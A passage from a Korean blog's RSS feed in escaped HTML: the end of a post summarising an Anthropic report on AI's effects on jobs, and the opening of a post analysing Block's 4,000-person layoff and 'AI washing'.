&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;현실론&lt;/b&gt;: &quot;AI는 도구다. 잘 쓰는 사람이 살아남는다. 엑셀이 나왔을 때도 회계사가 사라지진 않았다. 대신 회계사의 업무 내용이 바뀌었듯이, 개발자의 역할도 변할 것이다.&quot;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;냉소론&lt;/b&gt;: &quot;AI 회사가 경고하는 이유는 결국 더 많은 AI를 팔기 위해서다. 위기감을 조성하면 기업들이 AI 도입을 서두른다.&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;세 가지 입장 모두 일리가 있다. 하지만 데이터는 데이터다. 비관론자의 감정을 배제하고, 냉소론자의 동기 의심을 걷어내도, &lt;b&gt;&quot;이론 94% vs 현실 33%의 간극이 좁혀지고 있으며, 그 첫 번째 영향이 22~25세 청년층에게 나타나고 있다&quot;&lt;/b&gt;는 사실은 변하지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ============================================ --&gt; &lt;!-- 9. 마치며 --&gt; &lt;!-- ============================================ --&gt;
&lt;h2 style=&quot;color: #1a3a52; font-size: 24px; margin-top: 50px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff;&quot; data-ke-size=&quot;size26&quot;&gt;9. 마치며&lt;/h2&gt;
&lt;h3 style=&quot;color: #1a3a52; font-size: 20px; margin-top: 30px;&quot; data-ke-size=&quot;size23&quot;&gt;이 보고서를 한 장으로 요약하면&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;Anthropic의 이 보고서가 전하는 메시지를 한 문장으로 요약하면 이렇다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center; font-size: 18px; padding: 15px 0;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;&quot;아직 폭풍은 아니다. 하지만 바람이 불기 시작했고, 우리는 그 바람을 측정하는 장비를 만들었다.&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;이론적으로 94%를 커버할 수 있지만 실제로는 33%. 대량 실업은 아직 없지만, 22~25세 청년층 채용은 이미 둔화. 화이트칼라 대불황은 아직 오지 않았지만, 감지할 준비는 됐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;이 보고서의 가장 큰 가치는 &lt;b&gt;&quot;근거 있는 경고&quot;&lt;/b&gt;라는 점이다. 유튜브 알고리즘을 타고 퍼지는 &quot;AI가 모든 일자리를 빼앗는다&quot; 류의 자극적인 주장도 아니고, &quot;AI는 도구일 뿐 걱정할 필요 없다&quot;는 안일한 낙관도 아니다. &lt;b&gt;실제 데이터에 기반한, 조기 경보 수준의 분석&lt;/b&gt;이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;그리고 그 데이터가 말하는 바는 명확하다:&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 0 20px; padding: 0; line-height: 2.0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;AI는 저숙련 노동이 아니라, &lt;b&gt;고학력 고임금 사무직을 먼저 위협&lt;/b&gt;한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;아직 대량 실업은 아니지만, &lt;b&gt;간극(94% vs 33%)이 좁혀지는 방향&lt;/b&gt;으로 움직이고 있다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;젊은 층이 가장 먼저 영향&lt;/b&gt;을 받고 있으며, 이는 &quot;학습 사다리&quot; 붕괴로 이어질 수 있다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;물리적 기술 + 창의성 + 대인관계가 결합된 직종은 &lt;b&gt;상대적으로 안전&lt;/b&gt;하다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;AI를 활용하되, &lt;b&gt;고차원 판단 역할로 이동&lt;/b&gt;하는 것이 핵심 생존 전략이다&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #1a3a52; font-size: 20px; margin-top: 30px;&quot; data-ke-size=&quot;size23&quot;&gt;핵심 수치 정리표&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0 25px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 12px 15px; text-align: left; font-weight: bold; color: #1a3a52;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; font-weight: bold; color: #1a3a52;&quot;&gt;수치&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 12px 15px; text-align: left; font-weight: bold; color: #1a3a52;&quot;&gt;출처&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;컴퓨터/수학 직군 이론적 커버리지&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; font-weight: bold;&quot;&gt;94%&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; font-size: 13px;&quot;&gt;Anthropic Research&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;컴퓨터/수학 직군 실제 커버리지&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; font-weight: bold;&quot;&gt;33%&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; font-size: 13px;&quot;&gt;Anthropic Research / Fortune&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;AI 노출 1위: 프로그래머&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; font-weight: bold;&quot;&gt;75%&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; font-size: 13px;&quot;&gt;CBS News / Anthropic&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;22~25세 구직률 하락&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; font-weight: bold;&quot;&gt;약 14%&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; font-size: 13px;&quot;&gt;Anthropic Research&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;고노출 직종 vs 미노출 직종 임금 차이&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; font-weight: bold;&quot;&gt;47% 높음&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; font-size: 13px;&quot;&gt;Anthropic Research&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;AI 노출 0% 노동자 비율&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; font-weight: bold;&quot;&gt;30%&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; font-size: 13px;&quot;&gt;Anthropic Research&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;관측 노출 10%p 증가당 고용 전망 하락&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; font-weight: bold;&quot;&gt;0.6%p&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; font-size: 13px;&quot;&gt;Anthropic Research / BLS&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;font-size: 13px; color: #888; margin-top: -15px;&quot; data-ke-size=&quot;size8&quot;&gt;(출처: 각 행의 출처 열 참조)&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;불안해할 필요는 없다. 하지만 준비하지 않을 이유도 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;이 보고서를 읽고 &quot;내 직업이 위험하구나&quot;라고 느꼈다면, 그 불안감을 행동으로 바꿔라. AI 도구를 익히고, 고차원 판단 역량을 쌓고, 포트폴리오를 다각화하라. &lt;b&gt;AI를 &quot;위협&quot;이 아니라 &quot;도구&quot;로 만들 수 있는 사람&lt;/b&gt;이 되자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;그게 이 보고서가, 그리고 이 글이 전하고 싶은 핵심이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px 25px; border-radius: 10px; margin: 25px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 12px 0;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;참고 자료 및 출처&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 0 20px; padding: 0; line-height: 2.2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.anthropic.com/research/labor-market-impacts&quot;&gt;Anthropic Research - &quot;Labor market impacts of AI: A new measure and early evidence&quot;&lt;/a&gt; (Massenkoff &amp;amp; McCrory, 2026.03.05)&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://fortune.com/2026/03/06/ai-job-losses-report-anthropic-research-great-recession-for-white-collar-workers/&quot;&gt;Fortune - &quot;A 'Great Recession for white-collar workers' is absolutely possible&quot;&lt;/a&gt; (2026.03.06)&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.cbsnews.com/news/anthropic-ai-jobs-most-exposed-risk/&quot;&gt;CBS News - &quot;Anthropic is tracking which jobs are most exposed to AI. These 10 professions top the list.&quot;&lt;/a&gt; (2026.03)&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.axios.com/2026/03/05/anthropic-ai-jobs-claude&quot;&gt;Axios - &quot;Anthropic launches AI job destruction detector&quot;&lt;/a&gt; (2026.03.05)&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://news.ycombinator.com/item?id=47268391&quot;&gt;Hacker News - &quot;Labor market impacts of AI&quot; 토론 스레드&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.axios.com/2025/05/28/ai-jobs-white-collar-unemployment-anthropic&quot;&gt;Axios - &quot;Behind the Curtain: Top AI CEO foresees white-collar bloodbath&quot;&lt;/a&gt; (2025.05.28)&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.cnbc.com/2026/01/27/dario-amodei-warns-ai-cause-unusually-painful-disruption-jobs.html&quot;&gt;CNBC - &quot;Dario Amodei warns AI may cause 'unusually painful' disruption to jobs&quot;&lt;/a&gt; (2026.01.27)&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://fortune.com/2026/01/27/at-davos-ceos-said-ai-isnt-coming-for-jobs-as-fast-as-anthropic-ceo-dario-amodei-thinks/&quot;&gt;Fortune - &quot;At Davos, CEOs said AI isn't coming for jobs as fast as Amodei thinks&quot;&lt;/a&gt; (2026.01.27)&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://fortune.com/2026/02/17/klarnas-ceo-dario-amodei-ai-white-collar-workforce-shrink-2030/&quot;&gt;Fortune - &quot;Klarna's CEO agrees with Dario Amodei&quot;&lt;/a&gt; (2026.02.17)&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.theregister.com/2026/03/07/anthropic_bods_rework_ai_damage/&quot;&gt;The Register - &quot;Anthropic bods say AI hasn't had much impact on jobs&quot;&lt;/a&gt; (2026.03.07)&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;</description>
      <category>AI/AI 주간 News (AI 트렌드 기록)</category>
      <category>2026 노동시장 AI 영향</category>
      <category>AI 고용 위협 직종</category>
      <category>AI 직업 대체 위험도</category>
      <category>Anthropic AI 일자리 보고서</category>
      <category>Dario Amodei 일자리 경고</category>
      <category>관측된 노출 Observed Exposure</category>
      <category>초급 일자리 AI 대체</category>
      <category>컴퓨터 프로그래머 AI 노출</category>
      <category>화이트칼라 대불황</category>
      <category>화이트칼라 자동화</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/543</guid>
      <comments>https://goddaehee.tistory.com/543#entry543comment</comments>
      <pubDate>Wed, 11 Mar 2026 18:00:48 +0900</pubDate>
    </item>
    <item>
      <title>Block 4000명 해고, 정말 AI 때문이었을까 - AI가 4000명을 대체했다? Block 대량 해고와 주가 24% 급등, AI 시대의 잔인한 현실</title>
      <link>https://goddaehee.tistory.com/542</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2310&quot; data-origin-height=&quot;1544&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CXyxt/dJMcagLsYy8/rOnRIykQ3z0iR5AZTGNMp1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CXyxt/dJMcagLsYy8/rOnRIykQ3z0iR5AZTGNMp1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CXyxt/dJMcagLsYy8/rOnRIykQ3z0iR5AZTGNMp1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCXyxt%2FdJMcagLsYy8%2FrOnRIykQ3z0iR5AZTGNMp1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2310&quot; height=&quot;1544&quot; data-origin-width=&quot;2310&quot; data-origin-height=&quot;1544&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2026년 2월 26일, 뉴스 알림 하나가 직장인들의 심장을 뛰게 했다. &lt;b&gt;&quot;Block, AI 이유로 4,000명 해고 &amp;mdash; 전체 인력의 절반 가까이 삭감&quot;&lt;/b&gt;. Square와 Cash App을 만든 그 회사, Jack Dorsey가 이끄는 Block이 직원 절반을 내보내며 &quot;AI 덕분에 가능하다&quot;고 말한 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 시장은? &lt;b&gt;주가 24% 급등&lt;/b&gt;으로 화답했다. 4,000명의 생계가 흔들리는 순간, 투자자들은 환호했다. 이것이 2026년 AI 시대의 냉혹한 현실이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 잠깐. 정말 AI가 사람을 대체해서 해고한 걸까? 아니면 &quot;AI&quot;라는 단어가 월스트리트를 흥분시키는 마법의 주문이 되어버린 걸까? 오늘은 Block 사태를 기점으로, AI 해고의 진짜 이유와 &quot;AI 워싱(AI Washing)&quot; 논쟁, 그리고 당신의 직업이 얼마나 위험한지를 냉정하게 분석해 보겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;a style=&quot;color: #1a3a52; text-decoration: none;&quot; href=&quot;#section1&quot;&gt;Jack Dorsey의 선언 -- 무슨 일이 있었나&lt;/a&gt;
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Block은 어떤 회사인가&lt;/li&gt;
&lt;li&gt;해고 규모와 Dorsey의 발언&lt;/li&gt;
&lt;li&gt;주가 24% 급등의 의미&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;a style=&quot;color: #1a3a52; text-decoration: none;&quot; href=&quot;#section2&quot;&gt;해고 이유 분석 -- AI가 진짜 이유인가&lt;/a&gt;
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Dorsey의 공식 논리&lt;/li&gt;
&lt;li&gt;숨겨진 맥락: 코로나 과잉 채용&lt;/li&gt;
&lt;li&gt;투자자 친화적 내러티브&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;a style=&quot;color: #1a3a52; text-decoration: none;&quot; href=&quot;#section3&quot;&gt;글로벌 AI 해고 현황 (jobgonetoai.com 데이터)&lt;/a&gt;
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;2026년 AI 해고 트래커&lt;/li&gt;
&lt;li&gt;주요 기업별 해고 현황&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;a style=&quot;color: #1a3a52; text-decoration: none;&quot; href=&quot;#section4&quot;&gt;&quot;AI 워싱&quot;이란 무엇인가 -- MIT, Oxford, HBR 연구&lt;/a&gt;
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;AI 워싱의 정의&lt;/li&gt;
&lt;li&gt;MIT: 95%가 ROI 제로&lt;/li&gt;
&lt;li&gt;HBR: 잠재력 때문에 해고하지, 성과 때문이 아니다&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;a style=&quot;color: #1a3a52; text-decoration: none;&quot; href=&quot;#section5&quot;&gt;Anthropic 취업 보고서 -- 내 직업은 얼마나 위험한가&lt;/a&gt;
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;보고서 핵심 발견&lt;/li&gt;
&lt;li&gt;직종별 AI 노출도 표&lt;/li&gt;
&lt;li&gt;22~25세 신규 채용 감소 추세&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;a style=&quot;color: #1a3a52; text-decoration: none;&quot; href=&quot;#section6&quot;&gt;AI 해고에 대한 찬반 논쟁&lt;/a&gt;
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;찬성론: 구조적 전환은 불가피하다&lt;/li&gt;
&lt;li&gt;반대론: AI는 명분일 뿐이다&lt;/li&gt;
&lt;li&gt;중립론: 아직 이르다&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;a style=&quot;color: #1a3a52; text-decoration: none;&quot; href=&quot;#section7&quot;&gt;한국 노동시장에의 시사점&lt;/a&gt;
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;한국은 다른가&lt;/li&gt;
&lt;li&gt;어떤 직종이 위험한가&lt;/li&gt;
&lt;li&gt;기업들의 움직임&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;a style=&quot;color: #1a3a52; text-decoration: none;&quot; href=&quot;#community&quot;&gt;커뮤니티 반응&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;a style=&quot;color: #1a3a52; text-decoration: none;&quot; href=&quot;#section9&quot;&gt;마치며 -- 어떻게 준비해야 하나&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- 핵심 요약 박스 --&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;핵심 요약: Block AI 해고 사태와 AI 워싱 논쟁&lt;/b&gt;&lt;br /&gt;2026년 2월 26일, Block(구 Square) CEO Jack Dorsey는 4,000명 이상의 직원을 해고하며 &quot;AI 덕분에 더 작은 팀으로도 동일한 일이 가능하다&quot;고 선언했다. 이는 전체 인력의 약 절반에 해당하는 규모이다.&lt;br /&gt;&lt;br /&gt;그러나 MIT 연구에 따르면 기업 AI 파일럿의 95%가 측정 가능한 ROI를 내지 못하고 있으며, HBR(Harvard Business Review)은 &quot;기업들이 AI의 잠재력 때문에 해고하지, AI의 실제 성과 때문이 아니다&quot;라고 분석했다. 같은 주 발표된 Anthropic의 노동시장 보고서는 컴퓨터 프로그래머의 AI 업무 커버리지가 75%에 달한다고 밝혔다.&lt;br /&gt;&lt;br /&gt;AI가 일자리를 빼앗는 것인가, 아니면 기업이 AI를 구실로 구조조정을 하는 것인가 -- 이 글에서 양쪽 근거를 모두 살펴본다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ============================================================ --&gt; &lt;!-- 섹션 1: Jack Dorsey의 선언 --&gt; &lt;!-- ============================================================ --&gt;
&lt;h2 id=&quot;section1&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. Jack Dorsey의 선언 -- 무슨 일이 있었나&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Block은 어떤 회사인가&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본론에 들어가기 전에, Block이 어떤 회사인지부터 짚어보자. Block은 트위터(현 X) 공동 창업자 Jack Dorsey가 이끄는 핀테크 기업이다. 우리가 잘 아는 &lt;b&gt;Square&lt;/b&gt;(소상공인 결제 시스템)와 &lt;b&gt;Cash App&lt;/b&gt;(미국판 토스/카카오페이)을 운영하고 있다. 이 외에도 음악 스트리밍 서비스 &lt;b&gt;Tidal&lt;/b&gt;과 비트코인 관련 사업도 진행 중이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2021년 회사명을 Square에서 Block으로 변경했고, 2026년 초에는 주식 티커도 SQ에서 &lt;b&gt;XYZ&lt;/b&gt;로 바꾸었다. 코로나 팬데믹 기간 비대면 결제 수요 폭증에 힘입어 직원 수가 급격히 늘어났다. 2019년 말 약 3,835명이던 직원 수는 2022년까지 &lt;b&gt;10,000명 이상&lt;/b&gt;으로 불어났다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Block의 사업 구조를 간단히 정리하면 이렇다:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;사업 부문&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;설명&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;주요 고객&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;Square&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;소상공인/중소기업용 결제 시스템, POS&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;소상공인, 자영업자&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;Cash App&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;개인 간 송금, 주식/비트코인 투자&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;일반 소비자 (미국 4,400만+ MAU)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;Tidal&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;음악 스트리밍 서비스&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;음악 소비자, 아티스트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;비트코인 사업&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;비트코인 마이닝, 지갑, 인프라&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;암호화폐 사용자&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
